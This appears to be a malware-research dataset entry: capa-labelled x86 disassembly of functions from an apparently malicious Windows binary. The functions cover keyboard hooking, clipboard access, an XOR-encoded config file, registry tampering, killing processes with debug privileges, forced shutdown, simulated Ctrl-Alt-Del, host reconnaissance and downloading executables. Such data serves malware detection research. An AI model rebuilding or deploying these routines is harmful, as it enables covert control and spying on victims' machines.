joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406dd1
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4135cc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
lea ecx, [ebp - 0x34]
call fcn.00407220
mov dword [ebp - 4], 0
push str._kaspersky
push 0x594
push 0
push 4
lea ecx, [ebp - 0x34]
call fcn.00407460
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [0x41a254], eax
cmp dword [0x41a254], 0
jne 0x406e40
mov byte [ebp - 0x38], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.00407280
mov al, byte [ebp - 0x38]
jmp 0x406e90
push 0
push 0
push 0
push 6
mov eax, dword [0x41a254]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x41a250], eax
cmp dword [0x41a250], 0
jne 0x406e7a
mov byte [ebp - 0x3c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.00407280
mov al, byte [ebp - 0x3c]
jmp 0x406e90
mov byte [ebp - 0x40], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.00407280
mov al, byte [ebp - 0x40]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x406e9e
Capabilities:
Check if file exists
Get common file path
Get file attributes
Set global application hook

Disassembly:
push ebp
mov ebp, esp
call fcn.00406dd1
and eax, 0xff
test eax, eax
jne 0x406eb6
xor al, al
jmp 0x406f9e
push 0x594
push 0
mov eax, dword [0x41a250]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov byte [0x41a24c], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x41a248], eax
mov ecx, dword [0x41a250]
mov dword [ecx + 8], 0
mov edx, dword [0x41a250]
mov dword [edx + 4], 0
mov eax, dword [0x41a250]
mov dword [eax], 0
push 0x80
push 0
mov ecx, dword [0x41a250]
add ecx, 0x511
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
mov edx, dword [0x41a250]
add edx, 0xd
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x418564
mov eax, dword [0x41a250]
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [0x41a250]
add ecx, 0xd
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x406f68
mov edx, dword [0x41a250]
mov byte [edx + 0xc], 1
jmp 0x406f71
mov eax, dword [0x41a250]
mov byte [eax + 0xc], 0
mov ecx, dword [0x41a250]
cmp dword [ecx + 4], 0
jne 0x406f9c
push 0
mov edx, dword [0x41a258]
push edx
push 0x406b1a
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov ecx, dword [0x41a250]
mov dword [ecx + 4], eax
mov al, 1
pop ebp
ret
Function at 0x407085
Capabilities:
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [ebp - 0x128], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x114], 0
push 0x104
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str._flyboy.dat
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 3
push 0
push 1
push closesocket
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xffffffff
je 0x4071ce
push 0
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x120], eax
mov edx, dword [ebp - 0x120]
mov dword [ebp - 0x118], edx
push 0
lea eax, [ebp - 0x114]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x118]
push edx
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x11c], 0
jmp 0x40716e
mov ecx, dword [ebp - 0x11c]
add ecx, 1
mov dword [ebp - 0x11c], ecx
mov edx, dword [ebp - 0x11c]
cmp edx, dword [ebp - 8]
jae 0x40719a
mov eax, dword [ebp - 0x118]
add eax, dword [ebp - 0x11c]
mov cl, byte [eax]
xor cl, 0x62
mov edx, dword [ebp - 0x118]
add edx, dword [ebp - 0x11c]
mov byte [edx], cl
jmp 0x40715f
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x118]
push ecx
mov ecx, dword [ebp - 0x128]
call fcn.0040701a
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x118]
mov dword [ebp - 0x124], edx
mov eax, dword [ebp - 0x124]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x407df0
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4144c8
push 0x413102
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
ja case.default.0x407e34
mov ecx, dword [ebp - 0x28]
jmp dword [ecx*4 + 0x407fa8]
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x24]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je case.0x407e34.1
jmp case.default.0x407e34
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x407e89
jmp case.default.0x407e34
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jbe 0x407efd
cmp dword [ebp - 0x2c], 2
jbe 0x407ea3
cmp dword [ebp - 0x2c], 4
je 0x407ed8
jmp 0x407efd
mov ecx, dword [ebp + 0x18]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
add eax, 1
push eax
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp + 0x14]
push eax
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x407ed6
mov dword [ebp - 0x1c], 1
jmp 0x407efd
push 4
lea eax, [ebp + 0x1c]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x407efd
mov dword [ebp - 0x1c], 1
jmp case.default.0x407e34
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x407f1e
jmp case.default.0x407e34
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x407f37
mov dword [ebp - 0x1c], 1
jmp case.default.0x407e34
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x407f58
jmp case.default.0x407e34
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x407e34
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.00407f7f
jmp 0x407f94
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408b78
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x408b8f
jmp 0x408bf4
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov eax, dword [ebp + 0xc]
push eax
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x408bee
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 8], eax
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [ebp - 4]
push eax
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov esp, ebp
pop ebp
ret 8

Function at 0x408bfa
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x408c14
jmp 0x408cb4
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x408c30
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x408cb4
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalSize]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 8]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov byte [ecx], 0x76
mov edx, dword [ebp - 8]
sub edx, 1
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0xc]
add ecx, 1
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 0x1c]
call fcn.00407523
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x40a17b
Capabilities:
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov dword [eax], 0x4144e4
push 0
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0x7d0
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, dword [ebp - 4]
cmp dword [edx + 0x10], 0
je 0x40a1ef
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edx, dword [ebp - 4]
cmp dword [edx + 0x14], 0
je 0x40a205
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edx, dword [ebp - 4]
cmp dword [edx + 0x18], 0
je 0x40a21b
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edx, dword [ebp - 4]
cmp dword [edx + 0x1c], 0
je 0x40a231
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
call fcn.004074f5
mov esp, ebp
pop ebp
ret

Function at 0x40aaca
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], 4
mov dword [ebp - 4], 4
lea eax, [ebp - 0x10]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push getsockname
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 4]
push eax
push 0
push str.MHz
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x40ab7c
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
mov eax, dword [ebp + 0x10]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x400
push 0
lea edx, [ebp - 0x400]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
push str.SYSTEMCurrentControlSetServices_s
lea ecx, [ebp - 0x400]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
mov edx, dword [ebp + 0x10]
push edx
push 0
mov eax, dword [ebp + 0xc]
push eax
push 1
push str.Host
lea ecx, [ebp - 0x400]
push ecx
push getsockname
call fcn.0040786b
add esp, 0x20
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x40ac09
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_gethostname]
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esp, ebp
pop ebp
ret

Function at 0x40ac17
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov dword [ebp - 0x114], 0xffffffff
push 0xf4
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov byte [ebp - 0x208], 0x66
mov byte [ebp - 0x12e], 0
mov dword [ebp - 0x204], 0x9c
lea ecx, [ebp - 0x204]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 0x100
lea edx, [ebp - 0x100]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0040ab7c
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x110]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x20c], 0x10
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x110]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 0xa8]
push edx
call dword [sym.imp.WS2_32.dll_getsockname]
push 4
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x164]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0x32
lea edx, [ebp - 0x100]
push edx
lea eax, [ebp - 0x160]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
call fcn.0040aaca
mov dword [ebp - 0x168], eax
call fcn.0040ab20
mov byte [ebp - 0x12e], al
push str.X2.2
lea ecx, [ebp - 0x128]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0xf4
lea edx, [ebp - 0x208]
push edx
mov ecx, dword [ebp + 0xc]
call fcn.004029c9
mov dword [ebp - 0x114], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x114]
mov esp, ebp
pop ebp
ret
Function at 0x40b630
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0
push 1
push 0x4188b4
call fcn.0040b9c3
add esp, 8
mov dword [ebp - 8], 0
jmp 0x40b661
mov eax, dword [ebp - 8]
add eax, 4
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp + 0xc]
jae 0x40b69a
mov edx, dword [ebp + 8]
add edx, dword [ebp - 8]
mov eax, dword [edx]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40b658
push 0
push 0x4188c8
call fcn.0040b9c3
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0xc]
call fcn.0040b5a0
mov ecx, dword [ebp - 0xc]
call fcn.0040b5e8
mov esp, ebp
pop ebp
ret 8
Function at 0x40ba5b
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
push 1
push 0x418930
call fcn.0040b9c3
add esp, 8
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.0040b9c3
add esp, 8
pop ebp
ret

Function at 0x40bc97
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0x10], ecx
mov dl, byte [ebp + 0x20]
mov byte [ebp - 0xc], dl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x1c]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
lea edx, [ebp - 0x14]
push edx
push 0x40bc00
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov dword [ebp - 4], eax
push 0xffffffffffffffff
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x40bd09
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push str.CreateToolhelp32Snapshot
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
push 0
push 2
call dword [ebp - 0xc]
mov dword [ebp - 8], eax
push 0x128
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ecx], 0x128
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40bdc6
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
add edx, 0x24
push edx
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x40bd90
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
jmp 0x40bdc9
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40bdc6
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
add edx, 0x24
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40bdc4
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
jmp 0x40bdc9
jmp 0x40bd90
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x40bdcd
Capabilities:
Get session information
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 8]
push ecx
push 5
push 0xffffffffffffffff
push 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x40be2a
push 0x100
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 8]
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, dword [ebp - 0xc]
jmp 0x40be2c
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x40c244
Capabilities:
Simulate ctrl alt del

Disassembly:
push ebp
mov ebp, esp
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 4], eax
push str.Winlogon
call fcn.0040c1df
add esp, 4
test eax, eax
jne 0x40c26d
xor eax, eax
jmp 0x40c29b
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
cmp dword [ebp - 4], 0
je 0x40c296
mov eax, dword [ebp - 4]
push eax
call fcn.0040c17d
add esp, 4
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x40c29f
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x414], 0
mov dword [ebp - 8], 1
mov dword [ebp - 4], 1
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0
jne 0x40c2f3
xor al, al
jmp 0x40c406
push 0
push closesocket
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x410]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40c31f
xor al, al
jmp 0x40c406
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0xffffffff
je 0x40c3e6
push 0x400
push 0
lea eax, [ebp - 0x40c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x41c]
push ecx
push 0x400
lea edx, [ebp - 0x40c]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp dword [ebp - 8], 0
je 0x40c3a1
mov ecx, dword [ebp - 0x40c]
and ecx, 0xffff
cmp ecx, 0x5a4d
je 0x40c3a1
mov dword [ebp - 4], 0
jmp 0x40c3d9
mov dword [ebp - 8], 0
push 0
lea edx, [ebp - 0x414]
push edx
mov eax, dword [ebp - 0x41c]
push eax
lea ecx, [ebp - 0x40c]
push ecx
mov edx, dword [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x41c], 0
ja 0x40c34b
mov eax, dword [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x410]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
cmp dword [ebp - 4], 0
setne al
mov esp, ebp
pop ebp
ret